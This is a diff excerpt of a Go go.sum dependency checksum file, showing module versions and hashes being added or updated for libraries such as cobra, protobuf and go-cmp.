github.com/bishopfox/awsservicemap v1.0.2 h1:+NnuInVcQkja6y6h6eGseneU3m5Nzp9O++gR1s+FiyM=
|
||||
github.com/bishopfox/awsservicemap v1.0.2/go.mod h1:oy9Fyqh6AozQjShSx+zRNouTlp7k3z3YEMoFkN8rquc=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
|
||||
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
|
||||
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
|
||||
@@ -183,6 +223,10 @@ github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDk
|
||||
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
|
||||
github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
|
||||
github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
|
||||
github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI=
|
||||
github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
|
||||
github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
|
||||
github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
@@ -190,32 +234,38 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dimchansky/utfbom v1.1.1 h1:vV6w1AhK4VMnhBno/TPVCoK9U/LP0PkLCS9tbxHdi/U=
|
||||
github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE=
|
||||
github.com/dominikbraun/graph v0.15.0 h1:U6N0fWJTDsUO9R5NhFE1Xi0YGGQ1+nKV9KO5apClf3E=
|
||||
github.com/dominikbraun/graph v0.15.0/go.mod h1:yOjYyogZLY1LSG9E33JWZJiq5k83Qy2C6POAuiViluc=
|
||||
github.com/dnaeon/go-vcr v1.2.0 h1:zHCHvJYTMh1N7xnV7zf1m1GPBF9Ad0Jk/whtQ1663qI=
|
||||
github.com/dominikbraun/graph v0.22.2 h1:rFtrufgqXJy7daEMTxHIQWQc12Y1XHelXi2Heo1Bfho=
|
||||
github.com/dominikbraun/graph v0.22.2/go.mod h1:yOjYyogZLY1LSG9E33JWZJiq5k83Qy2C6POAuiViluc=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po=
|
||||
github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
|
||||
github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0=
|
||||
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
||||
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
|
||||
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
|
||||
github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs=
|
||||
github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw=
|
||||
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
|
||||
github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
|
||||
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
|
||||
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
|
||||
github.com/go-openapi/errors v0.20.2/go.mod h1:cM//ZKUKyO06HSwqAelJ5NsEMMcpa6VpXe8DOa1Mi1M=
|
||||
github.com/go-openapi/errors v0.20.3 h1:rz6kiC84sqNQoqrtulzaL/VERgkoCyB6WdEkc2ujzUc=
|
||||
github.com/go-openapi/errors v0.20.3/go.mod h1:Z3FlZ4I8jEGxjUK+bugx3on2mIAk4txuAOhlsB1FSgk=
|
||||
github.com/go-openapi/strfmt v0.21.3 h1:xwhj5X6CjXEZZHMWy1zKJxvW9AfHC9pkyUjLvHtKG7o=
|
||||
github.com/go-openapi/strfmt v0.21.3/go.mod h1:k+RzNO0Da+k3FrrynSNN8F7n/peCmQQqbbXjtDfvmGg=
|
||||
github.com/go-openapi/strfmt v0.21.7 h1:rspiXgNWgeUzhjo1YU01do6qsahtJNByjLVbPLNHb8k=
|
||||
github.com/go-openapi/strfmt v0.21.7/go.mod h1:adeGTkxE44sPyLk0JV235VQAO/ZXUr8KAzYjclFs3ew=
|
||||
github.com/golang-jwt/jwt/v4 v4.0.0/go.mod h1:/xlHOz8bRuivTWchD4jCa+NbatV+wEUSzwAxVc6locg=
|
||||
github.com/golang-jwt/jwt/v4 v4.2.0/go.mod h1:/xlHOz8bRuivTWchD4jCa+NbatV+wEUSzwAxVc6locg=
|
||||
github.com/golang-jwt/jwt/v4 v4.4.2 h1:rcc4lwaZgFMCZ5jxF9ABolDcIHdBytAFgqFPbSJQAYs=
|
||||
github.com/golang-jwt/jwt/v4 v4.4.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.0 h1:7cYmW1XlMY7h7ii7UhUyChSgS5wUJEnm9uZVTGqOWzg=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.0/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
||||
github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||
github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
|
||||
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
|
||||
github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
|
||||
@@ -237,6 +287,10 @@ github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvq
|
||||
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
|
||||
github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
||||
github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
||||
github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg=
|
||||
github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
||||
github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
|
||||
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
|
||||
github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
|
||||
@@ -248,12 +302,17 @@ github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/
|
||||
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
|
||||
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/martian v2.1.0+incompatible h1:/CP5g8u/VJHijgedC/Legn3BAbAaWPgecwXBIDzw5no=
|
||||
github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
|
||||
github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
|
||||
github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
|
||||
github.com/google/martian/v3 v3.3.2 h1:IqNFLAmvJOgVlpdEBiQbDc2EwKW77amAycfTuWKdfvw=
|
||||
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
|
||||
github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
|
||||
github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
|
||||
@@ -264,19 +323,27 @@ github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hf
|
||||
github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
|
||||
github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
|
||||
github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
|
||||
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
|
||||
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
|
||||
github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.1.2 h1:EVhdT+1Kseyi1/pUmXKaFxYsDNy9RQYkMWRH68J/W7Y=
|
||||
github.com/google/s2a-go v0.1.4 h1:1kZ/sQM3srePvKs3tXAvQzo66XfcReoqFpIpIccE7Oc=
|
||||
github.com/google/s2a-go v0.1.4/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A=
|
||||
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/googleapis/enterprise-certificate-proxy v0.2.4 h1:uGy6JWR/uMIILU8wbf+OkstIrNiMjGpEIyhx8f6W7s4=
|
||||
github.com/googleapis/enterprise-certificate-proxy v0.2.4/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k=
|
||||
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
|
||||
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
|
||||
github.com/googleapis/gax-go/v2 v2.10.0 h1:ebSgKfMxynOdxw8QQuFOKMgomqeLGPqNLQox2bo42zg=
|
||||
github.com/googleapis/gax-go/v2 v2.10.0/go.mod h1:4UOEnMCrxsSqQ940WnTiD6qJ63le2ev3xfyagutxiPw=
|
||||
github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g=
|
||||
github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
|
||||
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
|
||||
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
|
||||
github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
|
||||
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
|
||||
github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
|
||||
github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
|
||||
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/jedib0t/go-pretty v4.3.0+incompatible h1:CGs8AVhEKg/n9YbUenWmNStRW2PHJzaeDodcfvRAbIo=
|
||||
github.com/jedib0t/go-pretty v4.3.0+incompatible/go.mod h1:XemHduiw8R651AF9Pt4FwCTKeG3oo7hrHJAoznj9nag=
|
||||
github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg=
|
||||
@@ -285,6 +352,8 @@ github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGw
|
||||
github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U=
|
||||
github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
|
||||
github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk=
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
|
||||
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
|
||||
github.com/klauspost/compress v1.13.6/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk=
|
||||
github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg=
|
||||
@@ -292,54 +361,68 @@ github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORN
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
||||
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
||||
github.com/kyokomi/emoji v2.2.4+incompatible h1:np0woGKwx9LiHAQmwZx79Oc0rHpNw3o+3evou4BEPv4=
|
||||
github.com/kyokomi/emoji v2.2.4+incompatible/go.mod h1:mZ6aGCD7yk8j6QY6KICwnZ2pxoszVseX1DNoGtU2tBA=
|
||||
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
||||
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
|
||||
github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA=
|
||||
github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
|
||||
github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-sqlite3 v1.14.17 h1:mCRHCLDUBXgpKAqIKsaAaAsrAlbkeomtRFKXh2L6YIM=
|
||||
github.com/mattn/go-sqlite3 v1.14.17/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
|
||||
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
|
||||
github.com/mitchellh/mapstructure v1.3.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
|
||||
github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY=
|
||||
github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
|
||||
github.com/montanaflynn/stats v0.0.0-20171201202039-1bf9dbcd8cbe/go.mod h1:wL8QJuTMNUDYhXwkmfOly8iTdp5TEcJFWZD2D7SIkUc=
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
|
||||
github.com/oklog/ulid v1.3.1 h1:EGfNDEx6MqHz8B3uNV6QAib1UR2Lm97sHi3ocA6ESJ4=
|
||||
github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
|
||||
github.com/patrickmn/go-cache v2.1.0+incompatible h1:HRMgzkcYKYpi3C8ajMPV8OFXaaRUnok+kx1WdO15EQc=
|
||||
github.com/patrickmn/go-cache v2.1.0+incompatible/go.mod h1:3Qf8kWWT7OJRJbdiICTKqZju1ZixQ/KpMGzzAfe6+WQ=
|
||||
github.com/pkg/browser v0.0.0-20210911075715-681adbf594b8 h1:KoWmjvw+nsYOo29YJK9vDA65RGE3NrOnUtO7a+RF9HU=
|
||||
github.com/pkg/browser v0.0.0-20210911075715-681adbf594b8/go.mod h1:HKlIX3XHQyzLZPlr7++PzdhaXEj94dEiJgZDTsxEqUI=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rivo/uniseg v0.4.3 h1:utMvzDsuh3suAEnhH0RdHmoPbU648o6CvXxTx4SBMOw=
|
||||
github.com/rivo/uniseg v0.4.3/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
||||
github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis=
|
||||
github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
||||
github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
|
||||
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
|
||||
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/spf13/afero v1.9.3 h1:41FoI0fD7OR7mGcKE/aOiLkGreyf8ifIOQmJANWogMk=
|
||||
github.com/spf13/afero v1.9.3/go.mod h1:iUV7ddyEEZPO5gA3zD4fJt6iStLlL+Lg4m2cihcDf8Y=
|
||||
github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
|
||||
